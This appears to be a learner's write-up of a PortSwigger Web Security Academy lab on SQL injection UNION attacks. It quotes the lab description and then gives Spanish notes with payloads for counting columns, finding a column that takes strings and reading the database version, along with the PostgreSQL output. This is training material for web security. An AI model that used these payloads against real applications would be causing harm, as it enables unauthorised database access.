SQL injection UNION attack, finding a column containing text

https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

---

https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-4/

Numero de columnas aceptadas: 3

/filter?category=' UNION SELECT NULL,NULL,NULL-- -

Lugeo determinar que oclumna acepta una string

/filter?category=' UNION SELECT NULL,'SQLi',NULL-- -

La consulta anterior retorna la string, entonces se puede empezar a enumerar la BD:

/filter?category=' UNION SELECT NULL,version(),NULL-- -

PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit